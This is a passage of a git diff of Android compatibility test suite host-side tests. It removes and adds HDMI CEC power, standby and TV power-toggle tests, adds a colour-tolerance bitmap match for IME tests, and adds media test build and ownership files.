- * Test 10.1.2-1
- * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
- * device has taken the physical address 1.0.0.0.
- */
- @Test
- public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
- ITestDevice device = getDevice();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
- CecMessage.assertPhysicalAddressValid(message, dutPhysicalAddress);
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
deleted file mode 100644
index 4484ee8..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
-
- private static final int ON = 0x0;
- private static final int OFF = 0x1;
- private static final int IN_TRANSITION_TO_STANDBY = 0x3;
-
- private static final int SLEEP_TIMESTEP_SECONDS = 1;
- private static final int WAIT_TIME = 5;
- private static final int MAX_SLEEP_TIME = 8;
-
- public HdmiCecPowerStatusTest() {
- super(LogicalAddress.PLAYBACK_1);
- }
-
- @Rule
- public RuleChain ruleChain =
- RuleChain
- .outerRule(CecRules.requiresCec(this))
- .around(CecRules.requiresLeanback(this))
- .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
- .around(hdmiCecClient);
-
- /**
- * Test 11.2.14-1
- * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x0 when the device is
- * powered on.
- */
- @Test
- public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
- ITestDevice device = getDevice();
- /* Make sure the device is not booting up/in standby */
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
- CecOperand.REPORT_POWER_STATUS);
- assertThat(CecMessage.getParams(message)).isEqualTo(ON);
- }
-
- /**
- * Test 11.2.14-2
- * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x1 when the device is
- * powered off.
- */
- @Test
- public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
- ITestDevice device = getDevice();
- try {
- /* Make sure the device is not booting up/in standby */
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- /* Home Key to prevent device from going to deep suspend state */
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- TimeUnit.SECONDS.sleep(WAIT_TIME);
- int waitTimeSeconds = WAIT_TIME;
- int powerStatus;
- do {
- TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
- waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- powerStatus = CecMessage.getParams(hdmiCecClient.checkExpectedOutput(
- LogicalAddress.TV, CecOperand.REPORT_POWER_STATUS));
- } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
- assertThat(powerStatus).isEqualTo(OFF);
- } finally {
- /* Wake up the device */
- device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- }
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index f18268e..54b9be2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -110,6 +110,7 @@
LogicalAddress.BROADCAST,
CecOperand.SET_STREAM_PATH,
CecMessage.formatParams(dumpsysPhysicalAddress));
+ TimeUnit.SECONDS.sleep(5);
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
CecOperand.INACTIVE_SOURCE);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
deleted file mode 100644
index d78d318..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
-
- private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
- "hdmi_control_auto_device_off_enabled";
-
- public HdmiCecSystemStandbyTest() {
- super(LogicalAddress.PLAYBACK_1);
- }
-
- @Rule
- public RuleChain ruleChain =
- RuleChain
- .outerRule(CecRules.requiresCec(this))
- .around(CecRules.requiresLeanback(this))
- .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
- .around(hdmiCecClient);
-
- private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
- ITestDevice device = getDevice();
- String val = device.executeShellCommand("settings get global " +
- HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
- String valToSet = turnOn ? "1" : "0";
- device.executeShellCommand("settings put global "
- + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
- device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
- return val.equals("1");
- }
-
- private void checkDeviceAsleepAfterStandbySent(LogicalAddress source, LogicalAddress destination)
- throws Exception {
- ITestDevice device = getDevice();
- try {
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- TimeUnit.SECONDS.sleep(5);
- hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
- TimeUnit.SECONDS.sleep(5);
- String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
- assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
- } finally {
- /* Wake up the device */
- device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- }
- }
-
- /**
- * Test 11.2.3-2
- * Tests that the device goes into standby when a <STANDBY> message is broadcast.
- */
- @Test
- public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
- getDevice().executeShellCommand("reboot");
- getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- try {
- TimeUnit.SECONDS.sleep(5);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.BROADCAST);
- /* Wake up the TV */
- hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.BROADCAST);
- /* Wake up the TV */
- hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST);
- /* Wake up the TV */
- hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.BROADCAST);
- } finally {
- /* Wake up the TV */
- hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
- }
- }
-
- /**
- * Test 11.2.3-3
- * Tests that the device goes into standby when a <STANDBY> message is sent to it.
- */
- @Test
- public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
- getDevice().executeShellCommand("reboot");
- getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.PLAYBACK_1);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.PLAYBACK_1);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.PLAYBACK_1);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.PLAYBACK_1);
- checkDeviceAsleepAfterStandbySent(LogicalAddress.BROADCAST, LogicalAddress.PLAYBACK_1);
- }
-
- /**
- * Test 11.2.3-4
- * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
- */
- @Test
- public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
- ITestDevice device = getDevice();
- boolean wasOn = setHdmiControlDeviceAutoOff(false);
- try {
- device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.STANDBY);
- device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- } finally {
- setHdmiControlDeviceAutoOff(wasOn);
- }
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
new file mode 100644
index 0000000..04b5e10
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.RequiredPropertyRule;
+import android.hdmicec.cts.RequiredFeatureRule;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify TV power toggle behavior
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
+
+ private static final int ON = 0x0;
+ private static final int OFF = 0x1;
+
+ private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+ private static final String POWER_CONTROL_MODE =
+ "send_standby_on_sleep";
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+ .around(hdmiCecClient);
+
+ public HdmiCecTvPowerToggleTest() {
+ super(LogicalAddress.PLAYBACK_1);
+ }
+
+ private String setPowerControlMode(String valToSet) throws Exception {
+ ITestDevice device = getDevice();
+ String val = device.executeShellCommand("settings get global " +
+ POWER_CONTROL_MODE).trim();
+ device.executeShellCommand("settings put global "
+ + POWER_CONTROL_MODE + " " + valToSet);
+ return val;
+ }
+
+ /**
+ * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+ * Device is awake and not active source. TV is on.
+ */
+ @Test
+ public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
+ ITestDevice device = getDevice();
+ // Make sure the device is not booting up/in standby
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String previousPowerControlMode = setPowerControlMode("to_tv");
+ try {
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+ CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
+ Thread.sleep(TIMEOUT_SAFETY_MS);
+ device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+ // Verify that device is asleep and <Standby> was sent to TV.
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+ } finally {
+ setPowerControlMode(previousPowerControlMode);
+ }
+ }
+
+ /**
+ * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+ * Device is awake and active source. TV is on.
+ */
+ @Test
+ public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
+ ITestDevice device = getDevice();
+ // Make sure the device is not booting up/in standby
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String previousPowerControlMode = setPowerControlMode("to_tv");
+ try {
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+ // Verify that device is asleep and <Standby> was sent to TV.
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+ } finally {
+ setPowerControlMode(previousPowerControlMode);
+ }
+ }
+
+ /**
+ * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+ * Device is asleep. TV is on.
+ */
+ @Test
+ public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
+ ITestDevice device = getDevice();
+ // Make sure the device is not booting up/in standby
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String previousPowerControlMode = setPowerControlMode("to_tv");
+ try {
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+ // Verify that device is asleep and <Standby> was sent to TV.
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+ } finally {
+ setPowerControlMode(previousPowerControlMode);
+ }
+ }
+
+ /**
+ * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+ * Device is asleep. TV is off.
+ */
+ @Test
+ public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
+ ITestDevice device = getDevice();
+ // Make sure the device is not booting up/in standby
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String previousPowerControlMode = setPowerControlMode("to_tv");
+ try {
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
+ // Verify that device is awake and <Text View On> and <Active Source> were sent.
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+ hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertThat(wakeState.trim()).isEqualTo("mWakefulness=Awake");
+ } finally {
+ setPowerControlMode(previousPowerControlMode);
+ }
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
deleted file mode 100644
index 4a850e9..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
-
- private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
- private static final int INCORRECT_VENDOR_ID = 0x0;
-
- public HdmiCecVendorCommandsTest() {
- super(LogicalAddress.PLAYBACK_1);
- }
-
- @Rule
- public RuleChain ruleChain =
- RuleChain
- .outerRule(CecRules.requiresCec(this))
- .around(CecRules.requiresLeanback(this))
- .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
- .around(hdmiCecClient);
-
- /**
- * Test 11.2.9-1
- * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
- * with a <DEVICE_VENDOR_ID>.
- */
- @Test
- public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
- for (LogicalAddress logicalAddress : LogicalAddress.values()) {
- // Skip the logical address of this device
- if (logicalAddress == PLAYBACK_DEVICE) {
- continue;
- }
- hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
- assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
- }
- }
-
- /**
- * Test 11.2.9-2
- * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
- * initialisation and address allocation.
- */
- @Test
- public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
- ITestDevice device = getDevice();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
- assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
- }
-}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
for (int i = 0; i < NUM_ALARMS; i++) {
alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime() + (i + 1) * 1000,
- PendingIntent.getBroadcast(context, i, intent, 0));
+ PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
index 9edd60c..34b3add 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
@@ -17,6 +17,7 @@
package android.inputmethodservice.cts.ime;
import android.graphics.Bitmap;
+import android.graphics.Color;
import androidx.annotation.AnyThread;
import androidx.annotation.ColorInt;
@@ -26,6 +27,13 @@
* A utility class that represents A8R8G8B bitmap as an integer array.
*/
final class BitmapImage {
+ /**
+ * Tolerance level between the expected color and the actual color in each color channel.
+ *
+ * <p>See Bug 174534092 about why we ended up having this.</p>
+ */
+ private static final int TOLERANCE = 4;
+
@NonNull
private final int[] mPixels;
private final int mWidth;
@@ -91,7 +99,22 @@
}
/**
- * Checks if the same image can be found in the specified {@link BitmapImage}
+ * Compares two given pixels to determine whether those two pixels are considered to be
+ * the same within {@link #TOLERANCE}.
+ *
+ * @param lhs a color integer to be compared.
+ * @param rhs another color integer to be compared.
+ * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+ */
+ private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+ return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+ && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+ && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+ }
+
+ /**
+ * Checks if the same image can be found in the specified {@link BitmapImage} within a certain
+ * error margin.
*
* @param targetImage {@link BitmapImage} to be checked.
* @param offsetX X offset in the {@code targetImage} used when comparing.
@@ -99,7 +122,7 @@
* @return
*/
@AnyThread
- boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+ boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
final int targetWidth = targetImage.getWidth();
final int targetHeight = targetImage.getHeight();
@@ -113,7 +136,7 @@
if (targetY < 0 || targetHeight <= targetY) {
return false;
}
- if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+ if (!robustMatchInternal(targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
return false;
}
}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
index e3fd024..5d0cb0c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
@@ -204,7 +204,7 @@
// Search from the bottom line with an assumption that the IME is shown at the bottom.
for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
- if (mImage.match(targetImage, offsetX, offsetY)) {
+ if (mImage.robustMatch(targetImage, offsetX, offsetY)) {
return true;
}
}
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8d6b291e..eab19a0 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -4,3 +4,7 @@
marcone@google.com
sungsoo@google.com
jaewan@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMediaHostTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..8eab97e
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,55 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsMediaExtractorHostTestApp",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ compile_multilib: "both",
+ sdk_version: "test_current",
+}
+
+cc_test_library {
+ name: "libCtsMediaExtractorHostTestAppJni",
+ srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+ shared_libs: [
+ "liblog",
+ "libmediandk",
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ ],
+ header_libs: ["liblog_headers"],
+ include_dirs: [
+ "frameworks/av/media/ndk/include/media",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+ sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
